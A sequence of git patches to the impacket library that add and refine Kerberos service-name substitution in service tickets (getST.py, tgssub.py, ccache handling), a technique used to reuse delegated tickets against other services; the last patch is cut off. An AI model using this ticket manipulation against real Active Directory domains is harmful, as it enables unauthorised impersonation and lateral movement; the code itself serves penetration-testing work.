18ed0ae80aeaa2055cbbbbf3d979f737ce01a1b2 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 21:58:14 +0800 Subject: [PATCH 055/163] withdraw the modification to from_asn1 method --- impacket/krb5/types.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index ae5be3454..d6a6cbc30 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,14 +137,12 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component, alt_service=None): + def from_asn1(self, data, realm_component, name_component): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] - if name_component == "sname" and alt_service!=None: - self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self From 692d29c82d168d572d62739b3721dda7d7996f01 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 21:59:32 +0800 Subject: [PATCH 056/163] changed with types.py since there is no need to change the enc-part of TGS ticket, the from_asn1 method should not be call with altservice parameter --- impacket/krb5/ccache.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 94e7e0f61..4b7d7e98a 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -141,7 +141,7 @@ def prettyPrint(self): else: component = component['data'] principal += component + b'/' - + principal = principal[:-1] if isinstance(self.realm['data'], bytes): realm = self.realm['data'] @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -374,7 +374,7 @@ def getCredential(self, server, anySPN=True): # Let's take the port out for comparison cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1]) searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0], - server.upper().split('/')[1].split('@')[1]) + server.upper().split('/')[1].split('@')[1]) if cachedSPN == b(searchSPN): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -539,7 +539,7 @@ def prettyPrint(self): print("Credentials: ") for i, credential in enumerate(self.credentials): print(("[%d]" % i)) - credential.prettyPrint('\t') + credential.prettyPrint('\t') @classmethod def loadKirbiFile(cls, fileName): From 04d398fc322308b4a1f6f7185c174b6df35fa1fd Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 22:00:42 +0800 Subject: [PATCH 057/163] Update ccache.py --- impacket/krb5/ccache.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 4b7d7e98a..6401b44dd 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) + server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) From c47a70f2735dd0e64d6c6d9ef6689a7492f208f4 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 22:01:20 +0800 Subject: [PATCH 058/163] Update ccache.py --- impacket/krb5/ccache.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 6401b44dd..6ea04da00 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c From 526f73af92cd09a42bb4c1f7d9b96cbd7302e798 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 22:17:49 +0800 Subject: [PATCH 059/163] Update ccache.py From b4764879448d00e8f726f61a5d23c8f9892caff2 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 01:11:03 +0800 Subject: [PATCH 060/163] Update types.py --- impacket/krb5/types.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index d6a6cbc30..2f44b3c04 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,13 +137,15 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component): + def from_asn1(self, data, realm_component, name_component, alt_service=None): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] self.realm = str(data.getComponentByName(realm_component)) + if name_component == "sname" and alt_service!=None: + self.components = alt_service.split('/') return self def components_to_asn1(self, name): @@ -243,7 +245,7 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) From 8450c82817f68182fb419ef15ae5ea8e3a14b60a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 01:11:22 +0800 Subject: [PATCH 061/163] Update ccache.py --- impacket/krb5/ccache.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 6ea04da00..4b7d7e98a 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname') + server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) tmpServer = Principal() tmpServer.fromPrincipal(server) From 7065aa88b1a02ea95d96060a98c63918857962e0 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 02:45:09 +0800 Subject: [PATCH 062/163] Update getST.py --- examples/getST.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index e635d059f..1802f974c 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -87,7 +87,12 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - + if self.__saveFileName != None: + decodedTGS = decoder.decode(ticket, asn1Spec = TGS_REP())[0] + decodedTGS['ticket']['sname']['name-type'] = 0 + decodedTGS['ticket']['sname']['name-string'][0] = self.__saveFileName.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = self.__saveFileName.split('/')[1] + ticket = encoder.encode(decodedTGS) ccache.fromTGS(ticket, sessionKey, sessionKey, self.__alt_service) ccache.saveFile(self.__saveFileName + '.ccache') @@ -688,7 +693,7 @@ def run(self): "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' From a953f540cbf53622c86824a9f0a217d7809b1b89 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 03:01:56 +0800 Subject: [PATCH 063/163] Update getST.py --- examples/getST.py | 50 +++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 46 insertions(+), 4 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 1802f974c..631bb2c1b 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -87,13 +87,55 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - if self.__saveFileName != None: + if self.__alt_service != None: decodedTGS = decoder.decode(ticket, asn1Spec = TGS_REP())[0] decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = self.__saveFileName.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = self.__saveFileName.split('/')[1] + decodedTGS['ticket']['sname']['name-string'][0] = self.__alt_service.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = self.__alt_service.split('/')[1] ticket = encoder.encode(decodedTGS) - ccache.fromTGS(ticket, sessionKey, sessionKey, self.__alt_service) + ccache.fromTGS(ticket, sessionKey, sessionKey) + cred_number = len(ccache.credentials) + logging.debug('Number of credentials in cache: %d' % cred_number) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + if b'/' not in sname: + logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") + logging.debug("Original service is: %s" % sname.decode('utf-8')) + if '/' not in self.__alt_service: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class = "" + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + else: + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in self.__alt_service: + new_service_realm = self.__alt_service.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('@')[0].split('/')[1] + new_service_class = self.__alt_service.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('/')[1] + new_service_class = self.__alt_service.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): From 8953d05192565d9949f463e421fd2da78dd82e39 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 20 Feb 2022 20:27:01 +0100 Subject: [PATCH 064/163] Improved the service substitution to avoid discrepancies in the ticket/cccache credentials Co-authored-by: wqreytuk --- examples/getST.py | 94 +++++++++++++++++++++++++---------------------- 1 file changed, 51 insertions(+), 43 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 2ba59dc78..39d8f2173 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -53,10 +53,10 @@ from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants +from impacket.krb5 import constants, types, crypto, ccache from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache, Credential from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS @@ -85,50 +85,58 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) if self.__options.altservice is not None: - cred_number = len(ccache.credentials) - logging.debug('Number of credentials in cache: %d' % cred_number) - if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if b'/' not in sname: - logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") - logging.debug("Original service is: %s" % sname.decode('utf-8')) - if '/' not in self.__options.altservice: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class = "" - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0] + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] else: - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in self.__options.altservice: - new_service_realm = self.__options.altservice.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in self.__options.altservice: - new_hostname = self.__options.altservice.split('@')[0].split('/')[1] - new_service_class = self.__options.altservice.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__options.altservice.split('@')[0] + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in self.__options.altservice: - new_hostname = self.__options.altservice.split('/')[1] - new_service_class = self.__options.altservice.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__options.altservice - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + ticket = encoder.encode(decodedST) + ccache.fromTGS(ticket, sessionKey, sessionKey) + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + for creds in ccache.credentials: + creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + else: + ccache.fromTGS(ticket, sessionKey, sessionKey) logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') From 5759792cbf4f94720557f32018ca320e3a825235 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 20 Feb 2022 20:45:48 +0100 Subject: [PATCH 065/163] Adding message informating users -spn is ignored when doing -self Co-authored-by: wqreytuk --- examples/getST.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/examples/getST.py b/examples/getST.py index 39d8f2173..f48d7fc72 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,6 +452,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) + if self.__options.spn is not None: + logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) From f71c3bbaeb4f8f9adda0efdc59450c8529d1f805 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 20 Feb 2022 21:28:49 +0100 Subject: [PATCH 066/163] Improved the service substitution to avoid discrepancies in the ticket/cccache credentials Co-authored-by: wqreytuk --- examples/tgssub.py | 97 ++++++++++++++++++++++++++++------------------ 1 file changed, 59 insertions(+), 38 deletions(-) diff --git a/examples/tgssub.py b/examples/tgssub.py index 5040aba4b..444e863da 100755 --- a/examples/tgssub.py +++ b/examples/tgssub.py @@ -25,53 +25,74 @@ from impacket import version from impacket.examples import logger -from impacket.krb5 import constants +from impacket.krb5 import constants, types +from impacket.krb5.asn1 import TGS_REP, Ticket from impacket.krb5.types import Principal -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache, CountedOctetString +from pyasn1.codec.der import decoder, encoder def substitute_sname(args): ccache = CCache.loadFile(args.inticket) cred_number = len(ccache.credentials) logging.info('Number of credentials in cache: %d' % cred_number) if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if b'/' not in sname: - logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") - if '/' not in args.altservice: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class = "" - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + raise ValueError("More than one credentials in cache, this is not handled at the moment") + credential = ccache.credentials[0] + tgs = credential.toTGS() + decodedST = decoder.decode(tgs['KDC_REP'], asn1Spec=TGS_REP())[0] + tgs = ccache.credentials[0].toTGS() + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in args.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in args.altservice: + new_service_realm = args.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in args.altservice: + new_service_hostname = args.altservice.split('@')[0].split('/')[1] + new_service_class = args.altservice.split('@')[0].split('/')[0] else: - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in args.altservice: - new_service_realm = args.altservice.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in args.altservice: - new_hostname = args.altservice.split('@')[0].split('/')[1] - new_service_class = args.altservice.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = args.altservice.split('@')[0] + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = args.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in args.altservice: + new_service_hostname = args.altservice.split('/')[1] + new_service_class = args.altservice.split('/')[0] else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in args.altservice: - new_hostname = args.altservice.split('/')[1] - new_service_class = args.altservice.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = args.altservice - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = args.altservice + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + + ticket = encoder.encode(decodedST) + credential.ticket = CountedOctetString() + credential.ticket['data'] = encoder.encode(decodedST['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) + credential.ticket['length'] = len(credential.ticket['data']) + ccache.credentials[0] = credential + + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + ccache.credentials[0]['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) logging.info('Saving ticket in %s' % args.outticket) ccache.saveFile(args.outticket) From 252ce71515b5a23f0c235d3ded1d2c679f706850 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 10:57:44 +0800 Subject: [PATCH 067/163] Update ccache.py --- impacket/krb5/ccache.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 4b7d7e98a..011717210 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -141,7 +141,7 @@ def prettyPrint(self): else: component = component['data'] principal += component + b'/' - + principal = principal[:-1] if isinstance(self.realm['data'], bytes): realm = self.realm['data'] @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -374,7 +374,7 @@ def getCredential(self, server, anySPN=True): # Let's take the port out for comparison cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1]) searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0], - server.upper().split('/')[1].split('@')[1]) + server.upper().split('/')[1].split('@')[1]) if cachedSPN == b(searchSPN): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): + def fromTGS(self, tgs, oldSessionKey, sessionKey): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) + server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,10 +511,6 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential['num_address'] = 0 credential.ticket = CountedOctetString() - if alt_service != None: - decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() @@ -539,7 +535,7 @@ def prettyPrint(self): print("Credentials: ") for i, credential in enumerate(self.credentials): print(("[%d]" % i)) - credential.prettyPrint('\t') + credential.prettyPrint('\t') @classmethod def loadKirbiFile(cls, fileName): From 9bf913a8ebf254f178eac0ebd21c80f074a7e550 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 10:58:55 +0800 Subject: [PATCH 068/163] Update types.py --- impacket/krb5/types.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index 2f44b3c04..d6a6cbc30 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,15 +137,13 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component, alt_service=None): + def from_asn1(self, data, realm_component, name_component): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] self.realm = str(data.getComponentByName(realm_component)) - if name_component == "sname" and alt_service!=None: - self.components = alt_service.split('/') return self def components_to_asn1(self, name): @@ -245,7 +243,7 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) From ff318171efdfc2b855062745eff1546226a2bac5 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 10:59:58 +0800 Subject: [PATCH 069/163] Update getTGT.py --- examples/getTGT.py | 687 +++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 659 insertions(+), 28 deletions(-) diff --git a/examples/getTGT.py b/examples/getTGT.py index d20df28c7..fa536ff1f 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -8,10 +8,28 @@ # for more information. # # Description: -# Given a password, hash or aesKey, it will request a TGT and save it as ccache +# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache +# If the account has constrained delegation (with protocol transition) 